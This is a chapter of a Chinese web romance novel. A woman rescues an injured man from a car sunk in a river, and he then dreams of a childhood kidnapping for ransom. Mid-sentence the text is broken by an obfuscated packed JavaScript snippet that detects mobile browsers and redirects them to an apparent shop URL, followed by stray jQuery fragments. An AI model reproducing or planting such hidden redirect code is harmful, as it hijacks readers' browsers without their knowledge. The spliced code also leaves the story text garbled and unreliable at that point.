18.chapter18

作品:《私人专属

    没时间了,再有十秒,整个车厢都会被灌满水,如果他们不能在短时间内顺利出去,就会被淹死。


    叶南苏道:“待会车灌满水,我立即打开你这边车门,你先出去!”


    宋衍川被灌进来的水冲得睁不开眼,“你呢?”


    “我会跟你一起出去!”叶南苏道:“憋气!”


    说着,车子里的水已经灌满,水将他们两人淹没,灌满水的车厢内外压力一致,是车门最容易打开的时候。


    叶南苏按照计划,动作迅速地越过宋衍川,用尽全身的力气将驾驶座的车门打开,而后她将宋衍川半推着出了车门,随后她用力一蹬车子的中控台,借力将他推出去的同时,自己也从车子里出来。


    她绑在宋衍川手臂上的两个矿泉水瓶虽然不能让一个成年人完全浮起来,但多少给他提供了一些浮力。


    两人离开了车子后,叶南苏紧紧抓住宋衍川的手,带着他往水面而去。


    当两人都浮出了水面,憋气太久,叶南苏大口大口地喘息,宋衍川呛了水,剧烈咳了起来。


    叶南苏半搂着他,带着他浮在水面上,“怎么样?还能坚持一会儿吗?”


    宋衍川脸色惨白,头部的伤口还在流血,气息已经变得微弱,“嗯。”


    四月初的河水还很凉,叶南苏看了一眼他们的位置,现在他们距离岸边还有至少三十米的距离。


    叶南苏在想要怎样把宋衍川一起带到岸边,她要是中途不小心松开了手,受伤的宋衍川或许就就会沉下去。


    她看到了宋衍川领口有些松的领带,“领带给我用一下,冒犯了。”


    她没等对方答应,就把他领口的领带扯了下来,迅速地将那一条领带绑在了她和宋衍川的手上,用牙齿咬着打了个死结。


    天已经很暗,只能朦胧地看清四周的轮廓,她必须尽快上岸,否则她在水里只会消耗她过多体力。


    她的左手和宋衍川的右手绑在了一起,只能用右手划水,那两个空的矿泉水瓶起了大的作用,水瓶的浮力减轻了她的负担。


    河水是流动的,叶南苏在往岸边游的同时,也被水流冲出了一些距离。


    三十米的距离,她带着宋衍川游了十五分钟才摸到了岸。


    岸边是一处浅滩,长满了水草,叶南苏架着宋衍川,带着他一步一步上了岸。


    宋衍川失血过多,加上本来就达到了极限,身体往前倒去。


    “宋先生!”叶南苏双手搂住了他要倒下去的身体,喘着气鼓励他,“坚持住。”


    宋衍川听到了她这句话,睁开了有如千斤重的眼皮,他现在的脑海里一片混乱,感觉自己随时都会死去,只有叶南苏那一抹温热的体温能让他感觉得到自己还活着。


    这里是城郊,河岸两边有一些农村自建房,但距离他们都有些距离,最近的是那一座,距离他们大概五百来米。


    叶南苏大喊:“有人吗!救命!”


    回应她的是旁边芦苇丛扑着翅膀飞出来的鸟。


    他们的手机都坏了,只能去最近的那一座建筑,让他们帮忙叫个救护车。


    她原本想自己跑过去叫人,然后再回来,但一想到刚刚那个大货车,似乎是冲着宋衍川来的,或许那个人还在附近,她不能丢下受伤的他在这。


    她咬了咬牙,转了个身,背对着宋衍川,然后将他背了起来。


    宋衍川一米八八的身高,体重有一百四十斤,压在她背上,她连腰都直不起来。


    但无论如何,她现在不能离开他半步。


    她踩着草丛往上走,岸上距离水面有两米远,她必须要爬一个坡上去。


    背着一个人上坡,这是个技术活,要是不小心脚滑,两个人都要摔下去。


    每走一步,叶南苏的腿都在颤抖,确认了踩稳才敢用力。


    幸好,上了岸之后就是一条两米多宽的堤坝水泥路,这路并不难走。


    宋衍川的身体滚烫,看样子是发烧了。


    她现在无法检查他的伤势,刚刚碰撞就发生在他那一边,受到的冲击是最大的,他伤得一定不轻。


    他必须要尽快送他去医院抢救。


    背后的宋衍川几乎不动,叶南苏担心他昏死过去,隔一分钟就叫他一次,“宋先生。”


    意识模糊的宋衍川低低地应了一声,“嗯。”


    又过了一分钟,叶南苏再次开口,“宋先生,你还醒着吗?”


    “嗯。”


    走了大概百米远,叶南苏的双腿已经颤抖地有些发软,过去这半个小时,无论是从车里逃脱,还是带着宋衍川游到岸边,还是背着他走百米远,对她而言都是高体能消耗,刚刚在撞车的时候,她也受到了冲击,本来就是硬撑着,如今走到了这里,她的双腿和双臂都不像是自己的了,已经麻木。


    她看了一眼那一座她想要抵达的房子,还有两百米左右,那户人家亮着灯的,说明有人,只要过去,他们就能获救了。


    叶南苏咬紧了牙关,迈开颤抖的腿,一步一步朝着目的地挪动。


    极限的体能消耗让她的喘息变得粗重而绵长,“宋先生,你还醒着吗?”


    没有人回应。


    她心里一惊,“宋先生?”


    过了一会儿,一声低喃在她耳边响起。


    他还活着。


    叶南苏咬着牙又走了百米远,看着越来越近的灯光,她的腿像筛子一样抖动,终于,腿部肌肉达到了极限,脚一软,身体朝着前面扑了过去,倒下去时,她一只手撑着地,勉强支撑着上身,托着身后的宋衍川,没让他摔下来。


    她尝试着站起来,可是腿部一直颤抖,肌肉用不上力。


    忽然,一束光照了过来,是一辆电动车的灯光,叶南苏眼睛里有了光,她像是抓住了救命稻草,大喊:“你好!可以帮个忙吗?”


    骑电动车的是一名中年男人,借着灯光,他看清了两人,衣服都是湿的,还有个头上很多血,十分狼狈,“你……你们哪里来的?”


    叶南苏说:“我们的车子掉河里了,我们刚爬出来,啊叔,你能帮我们叫救护车吗?”


    大叔也是个好人,立马就掏出了手机帮他们叫救护车。


    大叔说:“桥过去两公里就有个医院,过来很快的勒。”


    “好,谢谢啊叔。”


    在等待救护车的间隙,叶南苏坐在路边


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17435352|200804||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的草丛里,将宋衍川搂在怀里,现在的宋衍川发着高烧,脸色白得可怕,但好在还有生命体征。


    她用自己的袖子给他擦了擦脸上的血,“宋先生,救护车马上就到,你坚持住。”


    宋衍川的眼皮微微睁开了一条缝,看到的是叶南苏的下颌,他很想把眼睛撑开,可是太沉了,他已经到达了极限,而后,他失去了意识。


    他做了一个梦,梦里,他回到了十八年前。


    十八年前的宋衍川刚好十岁,他参加了国际奥林匹克竞赛,那天他留在学校参与集训,六点钟才离开学校。


    初冬的天黑得早,六点多钟就已经天黑了,他坐在车后座,还在想着一道大题的解法。


    忽然前方一辆破旧的面包车紧急刹车,他们的车撞了上去。幸好车速不算快,撞得不算严重。


    前车下来两个男人,他们的面相凶神恶煞,一看就不好惹。


    司机刘叔下了车调解,他刚开口,一个剪着平头的男人就揪着刘叔的领子揍他。


    刘叔拿出手机要报警,手机却被他们砸在地上踩碎了,莫名其妙地还挨了一顿揍。


    坐在车后座的宋衍川当时就察觉到了不对,他打开了车门下车,想要去附近找人帮忙报警。可是这一条路附近很荒凉,并没有什么人,路上的车也不多。


    他刚跑出了十几米,就被身后追过来的男人揪住了后领,他挣扎着,“你们做什么!放开我!”


    随后,他的嘴被含有药物的帕子捂住,他在挣扎中晕了过去。


    再次醒来,他的手脚已经被绑住,眼睛被蒙上黑布,嘴也被胶布粘住了,他的头还是晕的,很沉,像是要炸开一样。


    他看不见,也不能开口,只闻到了一股很浓的烟酒味,还混合着陈年的霉味,让人有些作呕。


    他随后听到了两个男人对话的声音。


    “宋家应该急死了吧,哥,我们该打电话了吧。”


    “不急,让他们着急一会儿,否则谈价钱不好谈。”


    “他们瑞和集团卖车子的,那么牛逼,老板就这么一个儿子,我们要八百万现金,他随随便便都能给吧。”


    “你别看这些人这么有钱,精着呢,现在一定报警了,他给八百万容易,我们安全拿到这八百万一定不容易。”


    所以,交通事故是假的,绑架勒索才是真正的目的。


    十岁的宋衍川内心充满了恐惧,他本应该拼尽全力挣扎,可他也清楚挣扎对他来说没有好处,只会引来坏人的注意,或许还会伤害他。


    最近的气温只有八度左右,他的双手已经冷到几乎失去知觉。虽然他被蒙住了眼睛,但他能感受到自己被扔在粗糙冰冷的水泥地板上,地面有些凹凸不平,硌得他有点疼,很难受。


    他尝试着发力挣开手腕上的绳子,粗糙的绳子丝毫没有一点松动,反而在他白嫩的手腕上勒出了一道深红的印子。


    绑架勒索他在影视作品里看过很多次,有绑匪拿了钱放人的,但人质会被他们折磨得脱一层皮,也有绑匪拿了钱撕票的。


    他忽然绝望地想,自己会不会就这么死在这两个人手上?


    他的父亲会来救他吗?